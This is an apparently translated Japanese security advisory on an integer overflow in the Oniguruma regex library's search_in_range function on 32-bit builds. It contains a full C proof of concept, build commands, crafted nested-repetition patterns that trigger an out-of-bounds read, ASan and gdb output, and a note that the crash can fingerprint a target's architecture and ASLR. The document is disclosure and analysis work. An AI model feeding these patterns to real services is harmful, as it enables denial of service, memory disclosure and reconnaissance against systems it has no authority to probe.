Oniguruma 6.x（6.9.4_rc2 より前）の regexec.c の search_in_range 関数における整数オーバーフローは、範囲外読み取りを引き起こします。この読み取りのオフセットは攻撃者の制御下にあります。（これは 32 ビットでコンパイルされたバージョンのみに影響します）。リモートの攻撃者は、巧妙に細工された正規表現によって、サービス拒否や情報漏えい、あるいはその他の不特定の影響を引き起こす可能性があります。
研究者: ManhND（The Tarantula Team、VinCSS（Vingroup のメンバー））
Oniguruma は K. Kosako による、BSD ライセンスの正規表現ライブラリであり、さまざまな文字エンコーディングをサポートしています。Ruby プログラミング言語（バージョン 1.9）や PHP のマルチバイト文字列モジュール（PHP5 以降）は、正規表現エンジンとして Oniguruma を使用しています。また、Atom、GyazMail、Take Command Console、Tera Term、TextMate、Sublime Text、SubEthaEdit などの製品でも使用されています。
以下は C による PoC です。最初の引数としてパターンを、2 番目の引数としてマッチさせる文字列を受け取ります。
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include "oniguruma.h"
static int
search(regex_t* reg, unsigned char* str, unsigned char* end)
{
int r;
unsigned char *start, *range;
OnigRegion *region;
region = onig_region_new();
start = str;
range = end;
r = onig_search(reg, str, end, start, range, region, ONIG_OPTION_NONE);
if (r >= 0 ) {
int i;
fprintf(stdout, "match at %d (%s)\n", r,
ONIGENC_NAME(onig_get_encoding(reg)));
for (i = 0; i < region->num_regs; i++) {
fprintf(stdout, "%d: (%d-%d)\n", i, region->beg[i], region->end[i]);
}
}
else if (r == ONIG_MISMATCH) {
fprintf(stdout, "search fail (%s)\n",
ONIGENC_NAME(onig_get_encoding(reg)));
}
else { /* error */
char s[ONIG_MAX_ERROR_MESSAGE_LEN];
onig_error_code_to_str((UChar* )s, r);
fprintf(stdout, "ERROR: %s\n", s);
fprintf(stdout, " (%s)\n", ONIGENC_NAME(onig_get_encoding(reg)));
onig_region_free(region, 1 /* 1:free self, 0:free contents only */);
return -1;
}
onig_region_free(region, 1 /* 1:free self, 0:free contents only */);
return 0;
}
int main(int argc, char* argv[])
{
int r;
regex_t* reg;
OnigErrorInfo einfo;
char *pattern = argv[1];
char *pattern_end = pattern + strlen(pattern);
OnigEncodingType *enc = ONIG_ENCODING_ASCII;
char* str = argv[2];
char* str_end = str+strlen(str);
onig_initialize(&enc, 1);
r = onig_new(®, (unsigned char *)pattern, (unsigned char *)pattern_end,
ONIG_OPTION_IGNORECASE, enc, ONIG_SYNTAX_DEFAULT, &einfo);
if (r != ONIG_NORMAL) {
char s[ONIG_MAX_ERROR_MESSAGE_LEN];
onig_error_code_to_str((UChar* )s, r, &einfo);
fprintf(stdout, "ERROR: %s\n", s);
onig_end();
if (r == ONIGERR_PARSER_BUG ||
r == ONIGERR_STACK_BUG ||
r == ONIGERR_UNDEFINED_BYTECODE ||
r == ONIGERR_UNEXPECTED_BYTECODE) {
return -2;
}
else
return -1;
}
if (onigenc_is_valid_mbc_string(enc, str, str_end) != 0) {
r = search(reg, str, str_end);
} else {
fprintf(stdout, "Invalid string\n");
}
onig_free(reg);
onig_end();
return 0;
}
Oniguruma と PoC を 32 ビットでコンパイルします:
./configure CC=gcc CFLAGS="-m32 -O0 -ggdb3 -fsanitize=address" LDFLAGS="-m32 -O0 -ggdb3 -fsanitize=address" && make
gcc -m32 -fsanitize=address -O0 -I./oniguruma/src -ggdb3 PoC.c ./oniguruma/src/.libs/libonig.a -o PoC
バグを引き起こすには、文字列 "x" と、"x{a}{b}0" の形式のパターンを指定します。ここで a と b は 100000 より小さい値です。例:
root@manh-ubuntu16:~/fuzz/fuzz_oniguruma# ./PoC x{50000}{80000}0 x
ASAN:SIGSEGV
=================================================================
==4961==ERROR: AddressSanitizer: SEGV on unknown address 0xee5a5fdb (pc 0x080bf994 bp 0xffef2418 sp 0xffef23e0 T0)
#0 0x80bf993 in sunday_quick_search /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan-32/src/regexec.c:4831
#1 0x80c0685 in forward_search /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan-32/src/regexec.c:4956
#2 0x80c2830 in search_in_range /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan-32/src/regexec.c:5375
#3 0x80c17f4 in onig_search /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan-32/src/regexec.c:5168
#4 0x8048cc4 in search /root/fuzz/fuzz_oniguruma/poc-dmax-search-in-range.c:17
#5 0x8049536 in main /root/fuzz/fuzz_oniguruma/poc-dmax-search-in-range.c:78
#6 0xf7049636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636)
#7 0x8048b00 (/root/fuzz/fuzz_oniguruma/poc-dmax-search-in-range+0x8048b00)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan-32/src/regexec.c:4831 sunday_quick_search
==4961==ABORTING
root@manh-ubuntu16:~/fuzz/fuzz_oniguruma#
参照ソースコードバージョン: ca7ddbd858dcdc8322d619cf41ab125a2603a0d4
根本原因は、regex.c:5365 の行にあります。ここで整数オーバーフローが発生します:
5360 sch_range = (UChar* )range;
5361 if (reg->dmax != 0) {
5362 if (reg->dmax == INFINITE_LEN)
5363 sch_range = (UChar* )end;
5364 else {
5365 sch_range += reg->dmax; //// => overflow
5366 if (sch_range > end) sch_range = (UChar* )end;
5367 }
5368 }
整数オーバーフローは、reg->dmax が十分に大きな値になったときに発生します。reg->dmax は、パターン "x{<number>}y" における <number> に等しい距離であるようです。ここで x は任意の文字、y は数字でなければなりません。たとえば、パターン "a{1000}5" を指定した場合、reg->dmax = 1000 となります。次の gdb ログは "./PoC a{1000}5 b" を使用したものです:
root@manh-ubuntu16:~/fuzz/fuzz_oniguruma# gdb ./PoC
...
(gdb) b 61 # set breakpoint after onig_new
Breakpoint 1 at 0x804943d: file poc-dmax-search-in-range.c, line 61.
(gdb) r a{1000}0 b
Starting program: /root/fuzz/fuzz_oniguruma/PoC a{1000}0 b
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Breakpoint 1, main (argc=3, argv=0xffffd634) at poc-dmax-search-in-range.c:61
warning: Source file is more recent than executable.
61 if (r != ONIG_NORMAL) {
(gdb) p *reg
$1 = {ops = 0xf5b03760, ocs = 0xf5900be0, ops_curr = 0xf5b037b0, ops_used = 5,
ops_alloc = 8, string_pool = 0x0, string_pool_end = 0x0, num_mem = 0,
num_repeat = 1, num_empty_check = 0, num_call = 0, capture_history = 0,
push_mem_start = 0, push_mem_end = 0, empty_status_mem = 0,
stack_pop_level = 0, repeat_range_alloc = 4, repeat_range = 0xf6100f90,
enc = 0x8139e00 <OnigEncodingASCII>, options = 1,
syntax = 0x8127160 <OnigSyntaxOniguruma>, case_fold_flag = 1073741824,
name_table = 0x0, optimize = 2, threshold_len = 1001, anchor = 0,
anchor_dmin = 0, anchor_dmax = 0, sub_anchor = 0, exact = 0xf6500430 "0",
exact_end = 0xf6500431 "",
map = '\002' <repeats 48 times>, "\001", '\002' <repeats 207 times>,
map_offset = 1, dmin = 1000, dmax = 1000, extp = 0x0}
(gdb)
形式 "x{<number>}y" のパターンでは、繰り返し回数は 100000 を超えることができないため (ONIG_MAX_REPEAT_NUM)、dmax は最大値として 100000 になります。ただし、"x{<number1>}{<number2>}y" の形式のパターンを指定した場合、reg->dmax = number1 * number2 となります。この乗算は、次のコード (regcomp.c:6157) で行われます:
6156 else {
6157 max = distance_multiply(xo.len.max, qn->upper); //// => multiply into dmax
6158 }
次の gdb ログは "./PoC a{1000}{2}5 b" を使用したものです:
(gdb) r a{1000}{2}5 b
...
Breakpoint 1, main (argc=3, argv=0xffffd634) at poc-dmax-search-in-range.c:61
61 if (r != ONIG_NORMAL) {
(gdb) p *reg
$3 = {ops = 0xf5b03760, ocs = 0xf5900be0, ops_curr = 0xf5b037b0, ops_used = 5,
ops_alloc = 8, string_pool = 0x0, string_pool_end = 0x0, num_mem = 0,
num_repeat = 1, num_empty_check = 0, num_call = 0, capture_history = 0,
push_mem_start = 0, push_mem_end = 0, empty_status_mem = 0,
stack_pop_level = 0, repeat_range_alloc = 4, repeat_range = 0xf6100f90,
enc = 0x8139e00 <OnigEncodingASCII>, options = 1,
syntax = 0x8127160 <OnigSyntaxOniguruma>, case_fold_flag = 1073741824,
name_table = 0x0, optimize = 2, threshold_len = 2001, anchor = 0,
anchor_dmin = 0, anchor_dmax = 0, sub_anchor = 0, exact = 0xf6500430 "5",
exact_end = 0xf6500431 "",
map = '\002' <repeats 53 times>, "\001", '\002' <repeats 202 times>,
map_offset = 1, dmin = 2000, dmax = 2000, extp = 0x0}
(gdb)
さらに、繰り返し回数は好きなだけネストできます:
"x{n1}{n2}...{nk}5" => dmax = n1 * n2 * ... * nk
したがって、dmax（unsigned integer）は [0, 0xffffffff) の範囲の任意の値を取り得るため、sch_range += reg->dmax; での整数オーバーフローは確実に発生し得ます。reg->dmin についても同様です。ただし、この整数オーバーフローは 32 ビット版のみに影響します。64 ビット版では sch_range は 64 ビットのポインタであり、dmax は依然として unsigned integer であるため、整数オーバーフローは発生しません。
上記の PoC は、sunday_quick_search 内で整数オーバーフローが無効なメモリアドレスの参照を引き起こすため、クラッシュします:
while (s < end) {
p = s;
t = tail;
while (*p == *t) { // => p points to invalid address
if (t == target) return (UChar* )p;
p--; t--;
}
if (s + map_offset >= text_end) break;
s += reg->map[*(s + map_offset)];
}
ASLR が有効で、適切なパターンを指定した場合、ASLR は参照先アドレスに有効なページをマッピングすることも、ページをマッピングしないこともあるため、PoC はクラッシュしたりしなかったりします。したがって、この PoC は、対象システムが 32 ビットか 64 ビットかを検出するために使用できます。さらに、32 ビットの場合、ASLR が有効かどうかを検出できます。